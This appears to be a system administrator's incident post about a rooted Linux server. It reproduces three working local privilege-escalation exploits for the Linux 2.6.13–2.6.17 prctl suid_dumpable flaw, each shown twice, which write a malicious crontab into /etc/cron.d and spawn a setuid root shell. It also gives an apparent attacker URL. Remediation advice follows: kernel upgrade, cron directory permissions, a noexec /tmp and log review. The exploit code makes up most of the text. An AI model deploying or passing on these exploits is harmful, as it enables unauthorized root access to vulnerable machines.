http://143.225.151.190/libsh/ping.txt
affected kernel 2.6.13->17
C files uploaded:
CODE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#define INFO1 "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
char payload[] = /* commands to be executed by privileged crond */
"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
int main(void)
{
int pid, i;
struct rlimit corelimit;
struct stat st;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* prepare the setuid() helper */
system(pwnage);
/* set core size to unlimited */
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
/* let's do the PR_SET_DUMPABLE magic */
if (!(pid = fork())) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
/* did it work? */
sleep(3);
if (stat("/etc/cron.d/core", &st) < 0) {
fprintf(stderr, "Error: Not vulnerable? See comments.\n");
exit(1);
}
fprintf(stderr, "Ready to uncork the champagne? ");
fprintf(stderr, "Please wait a couple of minutes;)\n");
/* wait for crond to execute our evil entry */
for (i = 0; i < 124; i += 2) {
if (stat("/tmp/pwned", &st) < 0) {
fprintf(stderr, "\nError: Check /tmp/pwned!\n");
exit(1);
}
if (st.st_uid == 0)
break;
fprintf(stderr, ".");
sleep(2);
}
/* timeout reached? */
if (i > 120) {
fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
exit(1);
}
/* total pwnage */
fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
system("/tmp/pwned");
exit(0);
}
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#define INFO1 "raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
#define INFO2 "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
char payload[] = /* commands to be executed by privileged crond */
"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
char pwnage[] = /* build setuid() helper to circumvent bash checks */
"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
int main(void)
{
int pid, i;
struct rlimit corelimit;
struct stat st;
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* prepare the setuid() helper */
system(pwnage);
/* set core size to unlimited */
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
/* let's do the PR_SET_DUMPABLE magic */
if (!(pid = fork())) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(666);
exit(1);
}
kill(pid, SIGSEGV);
/* did it work? */
sleep(3);
if (stat("/etc/cron.d/core", &st) < 0) {
fprintf(stderr, "Error: Not vulnerable? See comments.\n");
exit(1);
}
fprintf(stderr, "Ready to uncork the champagne? ");
fprintf(stderr, "Please wait a couple of minutes;)\n");
/* wait for crond to execute our evil entry */
for (i = 0; i < 124; i += 2) {
if (stat("/tmp/pwned", &st) < 0) {
fprintf(stderr, "\nError: Check /tmp/pwned!\n");
exit(1);
}
if (st.st_uid == 0)
break;
fprintf(stderr, ".");
sleep(2);
}
/* timeout reached? */
if (i > 120) {
fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
exit(1);
}
/* total pwnage */
fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
system("/tmp/pwned");
exit(0);
}
file 2:
CODE
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh; chown root /tmp/sh; chmod 4755 /tmp/sh; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh; chown root /tmp/sh; chmod 4755 /tmp/sh; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}
file 3:
CODE
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#define CROND "/etc/cron.d"
#define BUFSIZE 2048
struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};
char crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
char cronstring[BUFSIZE];
char fname[BUFSIZE];
struct timeval te;
void sh(int sn) {
execl(fname, fname, (char *) NULL);
}
int main(int argc, char *argv[]) {
int nw, pid;
if (geteuid() == 0) {
printf("[+] getting root shell\n");
setuid(0);
setgid(0);
if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
perror("[-] execle");
return 1;
}
}
printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");
/* get our file name */
if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
perror("[-] readlink");
printf("This is not fatal, rewrite the exploit\n");
}
if (signal(SIGUSR1, sh) == SIG_ERR) {
perror("[-] signal");
return 1;
}
printf("[+] Installed signal handler\n");
/* Let us create core files */
setrlimit(RLIMIT_CORE, &myrlimit);
if (chdir(CROND) == -1) {
perror("[-] chdir");
return 1;
}
/* exploit the flaw */
if (prctl(PR_SET_DUMPABLE, 2) == -1) {
perror("[-] prtctl");
printf("Is you kernel version >= 2.6.13 ?\n");
return 1;
}
printf("[+] We are suidsafe dumpable!\n");
/* Forge the string for our core dump */
nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
if (nw >= sizeof(cronstring)) {
printf("[-] cronstring is too small\n");
return 1;
}
printf("[+] Malicious string forged\n");
if ((pid=fork()) == -1) {
perror("[-] fork");
return 1;
}
if (pid == 0) {
/* This is not the good way to do it;) */
sleep(120);
exit(0);
}
/* SEGFAULT the child */
printf("[+] Segfaulting child\n");
if (kill(pid, 11) == -1) {
perror("[-] kill");
return 1;
}
if (gettimeofday(&te, NULL) == 0)
printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
sleep(120);
printf("[-] It looks like the exploit failed\n");
return 1;
}
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#define CROND "/etc/cron.d"
#define BUFSIZE 2048
struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};
char crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
char cronstring[BUFSIZE];
char fname[BUFSIZE];
struct timeval te;
void sh(int sn) {
execl(fname, fname, (char *) NULL);
}
int main(int argc, char *argv[]) {
int nw, pid;
if (geteuid() == 0) {
printf("[+] getting root shell\n");
setuid(0);
setgid(0);
if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
perror("[-] execle");
return 1;
}
}
printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");
/* get our file name */
if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
perror("[-] readlink");
printf("This is not fatal, rewrite the exploit\n");
}
if (signal(SIGUSR1, sh) == SIG_ERR) {
perror("[-] signal");
return 1;
}
printf("[+] Installed signal handler\n");
/* Let us create core files */
setrlimit(RLIMIT_CORE, &myrlimit);
if (chdir(CROND) == -1) {
perror("[-] chdir");
return 1;
}
/* exploit the flaw */
if (prctl(PR_SET_DUMPABLE, 2) == -1) {
perror("[-] prtctl");
printf("Is you kernel version >= 2.6.13 ?\n");
return 1;
}
printf("[+] We are suidsafe dumpable!\n");
/* Forge the string for our core dump */
nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
if (nw >= sizeof(cronstring)) {
printf("[-] cronstring is too small\n");
return 1;
}
printf("[+] Malicious string forged\n");
if ((pid=fork()) == -1) {
perror("[-] fork");
return 1;
}
if (pid == 0) {
/* This is not the good way to do it;) */
sleep(120);
exit(0);
}
/* SEGFAULT the child */
printf("[+] Segfaulting child\n");
if (kill(pid, 11) == -1) {
perror("[-] kill");
return 1;
}
if (gettimeofday(&te, NULL) == 0)
printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
sleep(120);
printf("[-] It looks like the exploit failed\n");
return 1;
}
To fix:
install a kernel greater than 2.6.17
reinstall binutils
on binary distro's like mandriva, this may require a system rebuild
on src based distro's, a rebuild replace (gentoo: emerge baselayout binutils)
also there was possible evidence that gcc had been tampered with (perhaps .. not sure .. but just incase)
reinstall gcc
/etc/cron* is a weak point here
chmod -R 750 /etc/cron*
this will allow only the user root to write into these directories
if you're using vixie-cron this will not affect your users as user crons are stored in /var/spool/cron
if you are using some other cron, you may want to check the manual to ensure user crons can still be used after changing permissions on /etc/cron*
another thing:
if you have /tmp on a different partition (every good sys admin should) ensure noexec is turned on
CODE
/dev/hda8 /tmp reiserfs noatime,noexec 0 0
find out how they got the initial ping txt file on your system.
in my case it was a weak php script, so evidence was found in /var/log/apache/access_log and error_log
possiblities are badly configured ftp server, weak scripts (php, perl python .. what ever), email attachment strippers (not the girlie kind
in short, root has been compromised, so do what you need to, so that it is fixed.
in many cases this will mean a complete system reinstall, but be sure to keep a copy of logs etc, so you can find out how they got in, and *not* do it again